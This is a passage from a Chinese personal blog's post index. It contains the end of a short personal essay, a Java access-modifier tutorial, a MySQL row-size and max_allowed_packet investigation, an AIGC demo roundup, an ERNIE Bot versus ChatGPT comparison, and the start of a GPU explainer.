“能喝”，一瓶接着一瓶，他显然是会醉的。毫无疑问。\n他问我有没有感觉今天特别冷，我说秋天了嘛，天自然是凉了。他说他们认识的时候也是秋天，那年秋天景色特别好。\n我说，别光顾着喝，吃点儿东西\u0026hellip;\u0026hellip;\n他吐了，不出所料。他说，你回吧，明天还要上班。\n我看着他晃晃悠悠坐上出租车，喊老板结账，打包了些吃的。\n我买了船票，坐上了船。城市还没有醒来，路灯还格外地刺眼，我也有些醉了。\n迷迷糊糊地，我分不清自己在哪儿，船是向前开还是向后开。恍惚间想起了我们刚来这里时的样子。那时候有四五个人，好像也是这个时间，不同的是，我们格外兴奋和激动，嘴上说个不停，甚至有人在唱歌。而现在这船上，就只剩下我了。\n忽然一声巨大而沉闷的汽笛声把我从回忆里惊醒，海风很大，我的酒醒了不少。\n其实我明天不上班，因为没有班可上。\n看着手里的食物想起这些年我仍然吃不惯这里的东西，苦笑了一下。\n回过神，对面的女人已然不在了，我在想，是不是在哪儿见过她？想不起来，无所谓了。\n海风很大，海浪的声音很响，除了海浪声，我好像什么声音都听不进去，就这么漂着，漂着。\n下船时天亮了不少，手机响，打开是朋友发来的微信红包：“饭钱”。\n","date":"2023-10-11T06:45:18Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-10-11-xi-huan-hen-duo-nian-de-yi-shou-ge/cover.jpg","permalink":"/p/2023-10-11-xi-huan-hen-duo-nian-de-yi-shou-ge/","title":"喜欢很多年的一首歌"},{"content":"\n类访问修饰 在 类（class） 上可以使用的访问修饰符有 public、protected、默认（什么都不写）、private。\n其中 private、protected 不能在普通类中写，只能在内部类中写（内部类中 4 种都可以写） 普通的类访问修饰符只有 public、默认（什么都不写） 两种 注意：\n如果一个类的访问修饰符是 public ，那么 该类可以被任何其他类访问和继承。不受访问限制。其他类可以直接使用这个类创建对象，也可以继承这个类，并可以访问其中的公有方法和属性。 如果一个类的访问修饰符是 默认（啥都不写） ，该类的访问范围限定在定义该类的同一个包内。只有位于同一包下的其他类，才可以直接访问和使用这个类，包括访问其中公有成员和继承这个类。 为什么普通类的类访问修饰符不能是 private ？ 答：如果一个类为 `private``, 则在其他文件或类中就无法访问和使用这个类，包括类中的成员变量和成员方法，也无法继承它，这明显不合理，都不能用它写个什么劲呐，哈哈。\n为什么普通类的类访问修饰符不能是 protected ? 参考：https://stackoverflow.com/questions/3869556/why-can-a-class-not-be-defined-as-protected\n总结来说是因为没用，因为我们想像如果类修饰符可以为 protected，那么无非是说除了本包的类可以访问这个类以外，在其他包的这个类的子类也可以访问它。我们仔细看这句话：“其他包的这个类的子类可以访问它”， 我得是你的子类才能访问你，但是我想成为你的子类得先能访问你呀，这不死锁了嘛，所以不合理。既然不合理就不用了嘛，所以对于普通类功能上就只有包内访问和包外访问两种，那么 public 和 default 就可以搞定了，所以就只剩下这两种了。当然这也是因为 java 没有“子包”或“包继承”这样的概念，否则protected可能就有用了。\n为什么对于内部类可以用全部 4 种类访问修饰符 (private、default、protected、public)？ 说白了，还是看有用没用，没用就不需要那么多了，比如前面提到的普通类的类访问修饰符只有 2 个。我们来看看有什么用。\n对于 private，如果用它修饰内部类，那么表示仅在外部类内部使用，对外部类以外的类隐藏实现细节，还是比较有用的。总结来说，使用 private 修饰内部类通常用于以下目的：\n封装实现细节：将内部类的实现细节隐藏在外部类内部，防止其他类直接访问和依赖内部类的实现细节\n实现辅助类：将内部类作为外部类的辅助类，只在外部类内部使用。\n对于public，如果用它修饰内部类，意味着该内部类对外部类以外的其他类是可见的，并且可以被其他类直接访问。\n使内部类可以被其他类直接使用：当内部类具有独立的功能或需要与外部类以外的代码进行交互时，可以使用 public 修饰内部类，以便其他类可以直接访问和使用该内部类。\n其他类可以直接访问该内部类：其他类可以通过外部类和内部类的名称直接访问该内部类，包括创建内部类的实例、调用内部类的方法和访问内部类的成员变量\n内部类的可见性扩展到外部类以外：内部类的可见性不再限于外部类内部，而是对外部类以外的其他类开放。\n具体来说，使用 public 修饰内部类会产生以下影响：\n使用 public 修饰内部类通常用于以下目的：\n对于 default ，如果用它修饰内部类（即没有显式地使用任何访问修饰符），那么该内部类将具有默认访问级别。这意味着内部类对于外部类的其他成员和同一包中的其他类是可见的，但对于外部类所在包之外的类是不可见的。使用默认访问修饰符的内部类通常用于以下目的：\n封装实现细节：将内部类的实现细节隐藏在外部类内部和同一包中的其他类之间，防止外部包中的类直接访问和依赖内部类的实现细节。\n限制访问范围：将内部类限制在外部类和同一包中，以控制内部类的可见性和使用范围。\n对于 protected，如果用它修饰内部类， 那么被 protected 修饰的内部类对于外部类和外部类的子类是可见的，子类可以直接访问该内部类，并创建其实例、调用其方法以及访问其成员变量。另外同一包中的其他类也可以访问该内部类。\n你看 内部类可以用 protected ，是因为人家有外部类，可以明确父子类继承关系，但普通类就不行（原因上文说过）。另外的 3 种访问修饰符也是各有各的用途，所以内部类可以使用 全部 4 种访问修饰符。\n成员变量和成员方法访问修饰 成员变量和成员方法的访问修饰符和内部类一样都是可以使用全部的 4 个\n它的可访问性也如本文开头的那个图描述的，从低到高依次是 private、default、protected、public\n其实没啥好说的，跟类的大致意思一样，但有 2 个点需要注意一下：\n第一个是 private，如果类的构造方法用 private 修饰，那么这个类无法继承，也无法直接创建类对象，需要使用间接的方法，如单例模式\n另一个是 protected ，在方法调用上 protected 就更能体现出它的 “保护” 意味了。比如\n不同包下，在子类中通过父类引用不可以访问其 protected 方法 1public class Parent { 2 3 protected String protect = \u0026#34;protect field\u0026#34;; 4 5 protected void getMessage(){ 6 System.out.println(\u0026#34;i am parent\u0026#34;); 7 } 8} 9 10public class Son1 extends Parent{ 11 public static void main(String[] args) { 12 Parent parent1 = new Parent(); 13 // parent1.getMessage(); 错误 14 15 Parent parent2 = new Son1(); 16 // parent2.getMessage(); 错误 17 } 18} 不同包下，在子类中通过该子类引用可以访问其 protected 方法，也可以在子类方法中直接调用， 还可以通过 super 关键字调用父类中的该方法 不同包下，在子类中不能通过另一个子类引用访问共同基类的 protected 方法 “保护” 的作用在方法调用时体现的比较明显，另外还可以在一定程度上保证继承体系的稳定，不被随意破坏。合理地利用 protected 可以让代码具有良好的封装和可扩展性。下次你在某框架中再看到 protected 时应该知道它为什么用这个来修饰了。比如 Spring 框架中的AbstractApplicationContext 类，有个 prepareRefresh() 方法：\nprepareRefresh()方法使用protected修饰符来限制其访问范围。这是因为prepareRefresh()方法是一个在应用程序上下文刷新之前执行的关键步骤，它包含了一些框架内部的初始化逻辑和准备工作。 使用protected修饰符可以将prepareRefresh()方法限制在框架内部和继承体系中可见，防止外部代码直接调用该方法。这样的设计可以确保框架在进行刷新之前能够按照预期的顺序执行必要的初始化操作，同时避免外部代码干扰或绕过这些操作。 此外，将prepareRefresh()方法标记为protected还为子类提供了一种扩展和定制的机制。子类可以通过继承AbstractApplicationContext并重写prepareRefresh()方法，以添加或修改特定的初始化逻辑，以满足其特定需求。 参考 https://juejin.cn/post/6844903517988061191 ","date":"2023-08-23T15:27:10Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-08-23-java-fang-wen-xiu-shi-fu-xiang-jie/cover.jpg","permalink":"/p/2023-08-23-java-fang-wen-xiu-shi-fu-xiang-jie/","title":"Java 访问修饰符详解"},{"content":"问题 一条这样的 SQL 语句能查询出多少条记录？\n1select * from user 表中有 100 条记录的时候能全部查询出来返回给客户端吗？\n如果记录数是 1w 呢？10w 呢？100w 、1000w 呢？\n虽然在实际业务操作中我们不会这么干，尤其对于数据量大的表不会这样干，但这是个值得想一想的问题。\n寻找答案 前提：以下所涉及资料全部基于 MySQL 8\nmax_allowed_packet 在查询资料的过程中发现了这个参数 max_allowed_packet\n上图参考了 MySQL 的官方文档，根据文档我们知道：\nMySQL 客户端 max_allowed_packet 值的默认大小为 16M（不同的客户端可能有不同的默认值，但最大不能超过 1G） MySQL 服务端 max_allowed_packet 值的默认大小为 64M max_allowed_packet 值最大可以设置为 1G（1024 的倍数） 然而 根据上图的文档中所述\n“\nThe maximum size of one packet or any generated/intermediate string,or any parameter sent by the mysql_smt_send_long_data() C API function\n”\none packet generated/intermediate string any parameter sent by the mysql_smt_send_long_data() C API function 这三个东东具体都是什么呢？packet 到底是结果集大小，还是网络包大小还是什么？于是 google 了一下，搜索排名第一的是这个：\n根据 “Packet Too Large” 的说明， 通信包 (communication packet) 是\n一个被发送到 MySQL 服务器的单个 SQL 语句 或者是一个被发送到客户端的单行记录 或者是一个从主服务器 (replication source server) 被发送到从属服务器 (replica) 的二进制日志事件。 1、3 点好理解，这也同时解释了，如果你发送的一条 SQL 语句特别大可能会执行不成功的原因，尤其是insert update 这种，单个 SQL 语句不是没有上限的，不过这种情况一般不是因为 SQL 语句写的太长，主要是由于某个字段的值过大，比如有 BLOB 字段。\n那么第 2 点呢，单行记录，默认值是 64M，会不会太大了啊，一行记录有可能这么大的吗？有必要设置这么大吗？单行最大存储空间限制又是多少呢？\n单行最大存储空间 MySQL 单行最大宽度是 65535 个字节，也就是 64KB 。无论是 InnoDB 引擎还是 MyISAM 引擎。\n通过上图可以看到 超过 65535 不行，不过请注意其中的错误提示：“Row size too large. The maximum row size for the used table type, not counting BLOBs, is 65535” ，如果字段是变长类型的如 BLOB 和 TEXT 就不包括了，那么我们试一下用和上图一样的字段长度，只把最后一个字段的类型改成 BLOB 和 TEXT\n1mysql\u0026gt; CREATE TABLE t (a VARCHAR(10000), b VARCHAR(10000), 2 c VARCHAR(10000), d VARCHAR(10000), e VARCHAR(10000), 3 f VARCHAR(10000), g TEXT(6000)) ENGINE=InnoDB CHARACTER SET latin1; 4Query OK, 0 rows affected (0.02 sec) 可见无论 是改成 BLOB 还是 TEXT 都可以成功。但这里请注意，字符集是 latin1 可以成功，如果换成 utf8mb4 或者 utf8mb3 就不行了，会报错，仍然是 ：“Row size too large. The maximum row size for the used table type, not counting BLOBs, is 65535.” 为什么呢？\n因为虽然不包括 TEXT 和 BLOB, 但总长度还是超了！\n我们先看一下这个熟悉的 VARCHAR(255) ， 你有没有想过为什么用 255，不用 256？\n“\n在 4.0 版本以下，varchar(255) 指的是 255 个字节，使用 1 个字节存储长度即可。当大于等于 256 时，要使用 2 个字节存储长度。所以定义 varchar(255) 比 varchar(256) 更好。\n但是在 5.0 版本以上，varchar(255) 指的是 255 个字符，每个字符可能占用多个字节，例如使用 UTF8 编码时每个汉字占用 3 字节，使用 GBK 编码时每个汉字占 2 字节。\n”\n例子中我们用的是 MySQL8 ，由于字符集是 utf8mb3 ，存储一个字要用三个字节， 长度为 255 的话（列宽），总长度要 765 字节 ，再加上用 2 个字节存储长度，那么这个列的总长度就是 767 字节。所以用 latin1 可以成功，是因为一个字符对应一个字节，而 utf8mb3 或 utf8mb4 一个字符对应三个或四个字节，VARCHAR(10000) 就可能等于要占用 30000 多 40000 多字节，比原来大了 3、4 倍，肯定放不下了。\n另外，还有一个要求，列的宽度不要超过 MySQL 页大小 （默认 16K）的一半，要比一半小一点儿。例如，对于默认的 16KB InnoDB 页面大小，最大行大小略小于 8KB。\n下面这个例子就是超过了一半，所以报错，当然解决办法也在提示中给出了。\n1mysql\u0026gt; CREATE TABLE t4 ( 2 c1 CHAR(255),c2 CHAR(255),c3 CHAR(255), 3 c4 CHAR(255),c5 CHAR(255),c6 CHAR(255), 4 c7 CHAR(255),c8 CHAR(255),c9 CHAR(255), 5 c10 CHAR(255),c11 CHAR(255),c12 CHAR(255), 6 c13 CHAR(255),c14 CHAR(255),c15 CHAR(255), 7 c16 CHAR(255),c17 CHAR(255),c18 CHAR(255), 8 c19 CHAR(255),c20 CHAR(255),c21 CHAR(255), 9 c22 CHAR(255),c23 CHAR(255),c24 CHAR(255), 10 c25 CHAR(255),c26 CHAR(255),c27 CHAR(255), 11 c28 CHAR(255),c29 CHAR(255),c30 CHAR(255), 12 c31 CHAR(255),c32 CHAR(255),c33 CHAR(255) 13 ) ENGINE=InnoDB ROW_FORMAT=DYNAMIC DEFAULT CHARSET latin1; 14ERROR 1118 (42000): Row size too large (\u0026gt; 8126). Changing some columns to TEXT or BLOB may help. 15In current row format, BLOB prefix of 0 bytes is stored inline. 那么为什么是 8K，不是 7K，也不是 9K 呢？ 这么设计的原因可能是：MySQL 想让一个数据页中能存放更多的数据行，至少也得要存放两行数据（16K）。否则就失去了 B+Tree 的意义。B+Tree 会退化成一个低效的链表。\n你可能还会奇怪，不超过 8K ？你前面的例子明明都快 64K 也能存下，那 8K 到 64K 中间这部分怎么解释？\n答：如果包含可变长度列的行超过 InnoDB 最大行大小， InnoDB 会选择可变长度列进行页外存储，直到该行适合 InnoDB ，这也就是为什么前面有超过 8K 的也能成功，那是因为用的是VARCHAR这种可变长度类型。\n当你往这个数据页中写入一行数据时，即使它很大将达到了数据页的极限，但是通过行溢出机制。依然能保证你的下一条数据还能写入到这个数据页中。\n我们通过 Compact 格式，简单了解一下什么是 页外存储 和 行溢出\nMySQL8 InnoDB 引擎目前有 4 种 行记录格式：\nREDUNDANT COMPACT DYNAMIC（默认 default 是这个） COMPRESSED 行记录格式 决定了其行的物理存储方式，这反过来又会影响查询和 DML 操作的性能。\nCompact 格式的实现思路是：当列的类型为 VARCHAR、 VARBINARY、 BLOB、TEXT 时，该列超过 768byte 的数据放到其他数据页中去。\n在 MySQL 设定中，当 varchar 列长度达到 768byte 后，会将该列的前 768byte 当作当作 prefix 存放在行中，多出来的数据溢出存放到溢出页中，然后通过一个偏移量指针将两者关联起来，这就是 行溢出机制\n“\n假如你要存储的数据行很大超过了 65532byte 那么你是写入不进去的。假如你要存储的单行数据小于 65535byte 但是大于 16384byte，这时你可以成功 insert，但是一个数据页又存储不了你插入的数据。这时肯定会行溢出！\n”\nMySQL 这样做，有效的防止了单个 varchar 列或者 Text 列太大导致单个数据页中存放的行记录过少的情况，避免了 IO 飙升的窘境。\n单行最大列数限制 mysql 单表最大列数也是有限制的，是 4096 ，但 InnoDB 是 1017\n实验 前文中我们疑惑 max_allowed_packet 在 MySQL8 的默认值是 64M，又说这是限制单行数据的，单行数据有这么大吗？在前文我们介绍了行溢出， 由于有了 行溢出 ，单行数据确实有可能比较大。\n那么还剩下一个问题，max_allowed_packet 限制的确定是单行数据吗，难道不是查询结果集的大小吗 ? 下面我们做个实验，验证一下。\n建表\n1CREATE TABLE t1 ( 2 c1 CHAR(255),c2 CHAR(255),c3 CHAR(255), 3 c4 CHAR(255),c5 CHAR(255),c6 CHAR(255), 4 c7 CHAR(255),c8 CHAR(255),c9 CHAR(255), 5 c10 CHAR(255),c11 CHAR(255),c12 CHAR(255), 6 c13 CHAR(255),c14 CHAR(255),c15 CHAR(255), 7 c16 CHAR(255),c17 CHAR(255),c18 CHAR(255), 8 c19 CHAR(255),c20 CHAR(255),c21 CHAR(255), 9 c22 CHAR(255),c23 CHAR(255),c24 CHAR(255), 10 c25 CHAR(255),c26 CHAR(255),c27 CHAR(255), 11 c28 CHAR(255),c29 CHAR(255),c30 CHAR(255), 12 c31 CHAR(255),c32 CHAR(192) 13 ) ENGINE=InnoDB ROW_FORMAT=DYNAMIC DEFAULT CHARSET latin1; 经过测试虽然提示的是 Row size too large (\u0026gt; 8126) 但如果全部长度加起来是 8126 建表不成功，最终我试到 8097 是能建表成功的。为什么不是 8126 呢 ？可能是还需要存储一些其他的东西占了一些字节吧，比如隐藏字段什么的。\n用存储过程造一些测试数据，把表中的所有列填满\n1create 2 definer = root@`%` procedure generate_test_data() 3BEGIN 4 DECLARE i INT DEFAULT 0; 5 DECLARE col_value TEXT DEFAULT REPEAT(\u0026#39;a\u0026#39;, 255); 6 WHILE i \u0026lt; 5 DO 7 INSERT INTO t1 VALUES 8 ( 9 col_value, col_value, col_value, 10 col_value, REPEAT(\u0026#39;b\u0026#39;, 192) 11 ); 12 SET i = i + 1; 13 END WHILE; 14END; 将 max_allowed_packet 设置的小一些，先用 show VARIABLES like '%max_allowed_packet%'; 看一下当前的大小，我的是 67108864 这个单位是字节，等于 64M，然后用 set global max_allowed_packet =1024 将它设置成允许的最小值 1024 byte。设置好后，关闭当前查询窗口再新建一个，然后再查看：\n这时我用 select * from t1; 查询表数据时就会报错：\n因为我们一条记录的大小就是 8K 多了，所以肯定超过 1024byte。可见文档的说明是对的， max_allowed_packet 确实是可以约束单行记录大小的。\n答案 文章写到这里，我有点儿写不下去了，一是因为懒，另外一个原因是关于这个问题：“一条 SQL 最多能查询出来多少条记录？” 肯定没有标准答案\n目前我们可以知道的是：\n你的单行记录大小不能超过 max_allowed_packet 一个表最多可以创建 1017 列 （InnoDB） 建表时定义列的固定长度不能超过 页的一半（8k,16k\u0026hellip;） 建表时定义列的总长度不能超过 65535 个字节 如果这些条件我们都满足了，然后发出了一个没有 where 条件的全表查询 select * 那么\u0026hellip;..\n首先，你我都知道，这种情况不会发生在生产环境的，如果真发生了，一定是你写错了，忘了加条件。因为几乎没有这种要查询出所有数据的需求。如果有，也不能开发，因为这不合理。\n我考虑的也就是个理论情况，从理论上讲能查询出多少数据不是一个确定的值，除了前文提到的一些条件外，它肯定与以下几项有直接的关系\n数据库的可用内存 数据库内部的缓存机制，比如缓存区的大小 数据库的查询超时机制 应用的可用物理内存 \u0026hellip;\u0026hellip; 说到这儿，我确实可以再做个实验验证一下，但因为懒就不做了，大家有兴趣可以自己设定一些条件做个实验试一下，比如在特定内存和特定参数的情况下，到底能查询出多少数据，就能看得出来了。\n虽然我没能给出文章开头问题的答案，但通过寻找答案也弄清楚了 MySQL 的一些限制条件，并加以了验证，也算是有所收获了。\n参考 https://dev.mysql.com/doc/refman/8.0/en/packet-too-large.html https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_max_allowed_packet https://www.cnblogs.com/ZhuChangwu/p/14035330.html https://dev.mysql.com/doc/refman/8.0/en/column-count-limit.html ","date":"2023-07-14T04:16:40Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-07-14-yi-tiao-sql-zui-duo-neng-cha-xun-chu-lai-duo-shao-tiao-ji-lu/cover.jpg","permalink":"/p/2023-07-14-yi-tiao-sql-zui-duo-neng-cha-xun-chu-lai-duo-shao-tiao-ji-lu/","title":"一条SQL 最多能查询出来多少条记录？"},{"content":"近期，AIGC 领域出现了一系列令人瞩目的产品，集中展示了AI领域的最新成果与技术应用。以下这些demo的演示视频涵盖了AI文生图功能、AI生成PPT、AI生成思维导图以及计算机视觉等多个方面，向观众传递了AI的强大潜力与广阔前景。通过观看这些视频，我们可以预见到AI将对生活、工作和娱乐方式产生深远的影响。在未来，AI技术将与我们的生活越发紧密，为人类创造更加美好的未来。 1 midjourney 新功能 “图生描述” describe 功能，可以上传一张图片，让midjourney 自己写好 prompt 2 midjourney 二次元(niji ) v5 版本 ，生成的图质量比上一版本强太多了，喜欢二次元的朋友快去尝试一下吧。 3 midjourney 不差钱用户可以体验烧fast 的自动化功能 4 meta AI 推出的 segment anything 模型，可以分离一切事物，一键抠图不是梦！ 5 国产CV 模型，比肩 metaAI,又一抠图神器 6 chatGPT 平替，OpenAI 离职副总裁创业项目，可集成到Slack,再也不用为chatGPT注册不了发愁了。 7 AI 思维导图工具，直接用AI生成脑图，AI和你一起头脑风暴！ 8 AI PPT 介绍了两款超实用的AI生成PPT工具，助你成为PPT达人！🏆 ","date":"2023-04-15T03:00:26Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-04-15-ke-ji-yu-hen-huo-jin-qi-aigc-demo-shi-pin-he-ji/cover.jpg","permalink":"/p/2023-04-15-ke-ji-yu-hen-huo-jin-qi-aigc-demo-shi-pin-he-ji/","title":"科技与狠活 近期 AIGC  demo 视频合集"},{"content":"robin 的演示 我们用 robin 的演示例子来对比一下 文心一言和 ChatGPT 的真实表现（毕竟发布会上是录的）。注意，我使用的 GPT 版本是 4.0\n文学创作 1 三体的作者是哪里人？\n文心一言：\nChatGPT：\n嗯，中文表现上文心一言更好。\n2 电视剧三体的演员都有谁？\n文心一言：\nChatGPT：\n关于这个问题 ，由于 ChatGPT 的数据只能查到 2021 年的，所以它不知道是正常的。\n3 主演 于和伟 和 张鲁一 谁更高？\n文心一言：\nChatGPT：\n4 可以总结一下《三体》的核心内容吗？如果要续写的话，可以从哪些角度出发？\n文心一言：\nChatGPT：\n虽然网络出一点儿问题，但我更喜欢 ChatGPT 的回答。\n商业文案创作 1 如果要成立一个用大模型服务中小企业数字化升级的科技服务公司，可以起个什么公司名？\n文心一言：\nChatGPT：\n显然我更喜欢文心一言的，但如果你跟 ChatGP 继续聊下去，它可能提供更进一步符合你需求的答案。\n2 数智云图这个名称不错，给我起一个公司的服务 Slogan，表达共赢的概念\n文心一言：\nChatGPT：\n这一轮文心一言的回答更好。\n3 帮我生成一篇公司成立的新闻稿，数智云图以共赢的服务理念用大模型服务中小企业数字化升级。字数 600 字\n文心一言：\nChatGPT：\nChatGPT 试了几次网络都有问题，这一轮不好评价。\n数理逻辑推算任务 1 鸡兔同笼问题\n文心一言：\nChatGPT：\n这一轮没有意外，我更喜欢 ChatGPT 的回答。\n中文理解能力 1 “洛阳纸贵”是什么意思？\n文心一言：\nChatGPT：\n感觉差不多。\n2 当时洛阳的纸到底有多贵？\n文心一言：\nChatGPT：\n那么这一题，ChatGPT 开始一本正经的胡说八道了。\n3 这个成语在现在的经济学原理里，对应的理论是什么？\n文心一言：\nChatGPT：\n4 用洛阳纸贵四个字写一首藏头诗。\n文心一言：\nChatGPT：\nChatGPT 给出的结果明显不对。\n多模态生成 目前文心一言的测试版本并不能生成语音和视频，但是可以直接生成图片，图片的质量比想象中的要好，而且还有很多的风格可以选择，比如说卡通风格，油画风格，还有很多的风格，可以满足不同的需求。\n绘画能力应该是集成了现成的文心一格。\n以下是我试的几个例子\n描述：请为 2023 世界智能交通大会创作一张海报。\n描述：“灌木丛中的一朵机械花，有金属花瓣，周围环境和人的镜面反射，鸟瞰图。构图夸张，具有强烈的视觉冲击力和叙事性”\n描述：“雨天香港、哥特式建筑 3D 画风”\n描述：“一只睡在柜子上面的猫，卡通风格”\n描述：“麦田中的少年，油画风”\n坦率讲与 midjourney 的绘画能力相比，文心一格的绘画能力还是有差距的。\n编程 1 请帮我写一个网页版的贪吃蛇游戏 文心一言：\nChatGPT：\n虽然又遇到了网络问题，但各位开发老铁们，不用我说了吧，都知道该选啥哈\n2 生成测试数据\n文心一言：\nChatGPT：\nChatGPT 完胜\n文心一言使用注意事项 在使用过程中出现了排队的情况：\n这我在使用 ChatGPT 的时候可没有遇到过。\n可以输入“/” 来获取模版\n绘画的例子上文举过了，我们来看看剩下 2 个：\n查一个知识\n写一篇报告\n总结 经过试用文心一言，再对比 ChatGPT，我认为：文心在中文语料上应该是更丰富些。多语言上目前一定不如 ChatGPT 优秀。虽然这两个模型在某些方面有所重叠，但它们在应对特定语言和领域问题时具有各自的优势。\n其实最令我意外的是，文心一言并没有发布会时让人感觉的那么差。它不是 chatPPT, 至少目前看不是，它完成了从 0 到 1 的过程 ，虽然有差距，但还是真心地希望国内的企业能够在 AI 的领域做出一些成绩，而不是一味地跟风。\n我现在理解了 😊\nEND - ","date":"2023-03-17T16:09:14Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-03-17-bai-du-de-wen-xin-yi-yan-mei-you-xiang-xiang-zhong-na-me-cha/cover.jpg","permalink":"/p/2023-03-17-bai-du-de-wen-xin-yi-yan-mei-you-xiang-xiang-zhong-na-me-cha/","title":"百度的文心一言  没有想像中那么差"},{"content":"硬件 “没有硬件支持，你破解个屁”\nGPU 什么是 GPU？\nGPU 是 Graphics Processing Unit 的缩写，中文翻译为图形处理器。GPU 最初是为了提高电脑处理图形的速度而设计的，主要负责图像的计算和处理。GPU 通过并行计算的方式，可以同时执行多个任务，大大提高了图形和数据处理的速度和效率。\n近年来，由于其并行计算的特性，GPU 也被应用于一些需要大量计算的领域，如机器学习、深度学习、数据挖掘、科学计算等。在这些领域中，GPU 可以加速训练模型、处理海量数据等计算密集型任务，显著提高了计算效率和速度。因此，GPU 已成为现代计算机的重要组成部分，被广泛应用于各种领域。\nGPU 是如何工作的？\nGPU 的工作原理和 CPU 类似，都是通过执行指令来完成计算任务的。不同的是，CPU 是通过串行执行指令的方式来完成计算任务的，而 GPU 是通过并行执行指令的方式来完成计算任务的。GPU 的并行计算方式可以同时执行多个任务，大大提高了计算效率和速度。\n可以参考这个视频来了解 GPU 的工作原理：https://www.bilibili.com/video/BV1VW411i7ah/?spm_id_from=333.337.search-card.all.click\u0026amp;vd_source=6fb7f58b736bb5913c33073b42979450\nGPU 和 CPU 的区别\nGPU 和 CPU 的区别主要体现在以下几个方面：\n架构设计不同：CPU 的设计注重单线程处理能力，通常有少量的计算核心和更多的高速缓存。GPU 则是面向并行处理的设计，通常拥有大量的计算核心，但缓存较小。\n计算方式不同：CPU 在处理任务时，主要通过执行指令流的方式进行计算。而 GPU 则是通过执行大量的线程，同时进行并行计算，以提高计算效率。GPU 的并行计算能力可以同时处理许多相似的任务，适用于大规模的计算密集型任务，例如图像处理、机器学习等。\n用途不同：CPU 主要用于通用计算任务，例如文件处理、操作系统运行、编程等。GPU 则主要用于图形处理、游戏、计算密集型任务，例如机器学习、深度学习等。\n总结来说，GPU 和 CPU 都有各自的优势和适用场景，它们通常是相互协作的。例如，在机器学习中，CPU 通常用于数据的预处理和模型的训练过程，而 GPU 则用于模型的计算推理过程。\n我们常说的显卡就是 GPU 吗？\n是的，我们通常所说的显卡（Graphics Card）就是安装了 GPU 的设备。显卡除了包含 GPU 之外，还包括显存、散热器、显卡 BIOS 等部件。显卡通过将 CPU 传输的数据转换为图像信号，控制显示器输出图像。\n在一些需要大量图像处理或计算的应用场景中，GPU 可以比 CPU 更高效地完成任务。因此，现代的显卡也广泛应用于机器学习、深度学习等领域的加速计算，甚至被用于科学计算、天文学、地质学、气象学等领域。\n关于显卡，你可能听说过“集成显卡”、“独立显卡”，其实，显卡的集成和独立通常是指显存的不同管理方式，它们有以下区别：\n集成显卡：集成显卡通常是指将显存集成在主板芯片组或处理器内部的显卡。这种显卡通常性能较差，适用于一些简单的应用场景，例如日常办公、网页浏览等。\n独立显卡：独立显卡通常是指显存独立于主板芯片组或处理器，有自己的显存和显存控制器。这种显卡性能更加强大，适用于游戏、图形处理、科学计算等需要大量显存和计算性能的应用场景。\n共享显存：共享显存通常是指显存与系统内存共享使用，也就是一部分系统内存被划分为显存使用。这种方式适用于一些轻度图形处理的应用场景，例如电影播放、网页浏览等。\n总的来说，集成显卡通常性能较差，适用于简单应用场景，独立显卡性能更加强大，适用于需要大量显存和计算性能的应用场景，而共享显存则是一种折中的方案，适用于一些轻度图形处理的应用场景。\nGPU 厂商\n海外头部 GPU 厂商：\nNvidia：Nvidia 是目前全球最大的 GPU 制造商之一，Nvidia 主要生产针对游戏玩家、数据中心和专业用户等不同领域的 GPU 产品。 AMD：全球知名的 GPU 制造商之一。AMD 主要生产用于个人电脑、工作站和服务器等不同领域的 GPU 产品。 Intel：目前也开始进军 GPU 市场。Intel 主要生产用于个人电脑、工作站和服务器等不同领域的 GPU 产品。 国内 GPU 厂商：\n海光信息、寒武纪、龙芯中科、景嘉微等。\n芯片“卡脖子” 说的就是 GPU 吗？\n是，但不全是。\n\u0026ldquo;芯片卡脖子\u0026quot;是指全球半导体短缺现象，也称为\u0026quot;芯片荒\u0026quot;或\u0026quot;半导体荒\u0026rdquo;，指的是 2020 年以来由新冠疫情和其他因素导致的全球半导体供应不足的局面。这种供应短缺已经影响了多个行业，包括汽车、电子产品、通信设备等。中国作为世界上最大的半导体市场之一，也受到了这种供应短缺的影响。\n我国在半导体领域的自主研发和制造水平相对较低，依赖进口芯片来支撑其经济和工业发展。受全球芯片短缺影响，我国的一些关键行业，特别是汽车、电子和通信行业，出现了供应短缺和价格上涨等问题，对其经济造成了一定的影响。为了应对这种情况，政府加强了对半导体行业的支持，鼓励本土企业增加芯片研发和生产能力，以减轻对进口芯片的依赖。\n具体与 GPU 相关的：2022 年 8 月 31 日，为符合美国政府要求，Nvidia 和 AMD 的高端 GPU 将在中国暂停销售，包括 Nvidia 的 A100、H100 以及 AMD 的 MI100 和 MI200 芯片\n英伟达在 SEC 文件上官方确认此事，称是 8 月 26 日收到美国政府的通知。\n“\nSEC 文件是由上市公司、上市公司内部人士、券商提交给美国证券交易委员会（SEC) 的财务报表或者其他正式文件。\n”\nnvidia （英伟达） 根据 2021 年第四季度的市场研究报告，英伟达在全球离散显卡市场占有率为 51.2％，位列第一，超过了其竞争对手 AMD 的市场份额。而在全球 GPU 市场（包括离散显卡和集成显卡）中，英伟达的市场占有率为 18.8％，位列第二，仅次于 Intel 的市场份额。\nnvidia 的产品矩阵\nGeForce 系列：主要面向消费者市场，包括桌面显卡和笔记本电脑显卡等，以高性能游戏和多媒体应用为主要应用场景。 Quadro 系列：主要面向专业工作站市场，包括电影和电视制作、建筑设计、科学计算、医疗影像等领域，具有高性能、高稳定性和优秀的图形渲染能力。 Tesla 系列：主要面向高性能计算市场，包括科学计算、深度学习、人工智能等领域，具有极高的计算性能和数据吞吐量，支持多 GPU 集群计算。 Tegra 系列：主要面向移动和嵌入式市场，包括智能手机、平板电脑、汽车、无人机等领域，具有高性能、低功耗、小尺寸等特点。 Jetson 系列：主要面向人工智能应用市场，包括机器人、自动驾驶、智能视频分析等领域，具有高性能、低功耗、小尺寸等特点。 可能你对上面这些产品系列、型号和名词不太了解，没有什么概念，那这样，咱们先建立个价格概念。我们以当下在人工智能领域广泛应用的 GPU A100 为例，看一下它的价格：\n就是因为这个价格，所以 A100 也被称为“英伟达大金砖”.\n为什么要单独说英伟达呢？因为算力是 人工智能的“力量源泉”，GPU 是算力的“主要供应商”。而英伟达是全球最大的 GPU 制造商，并且它的 GPU 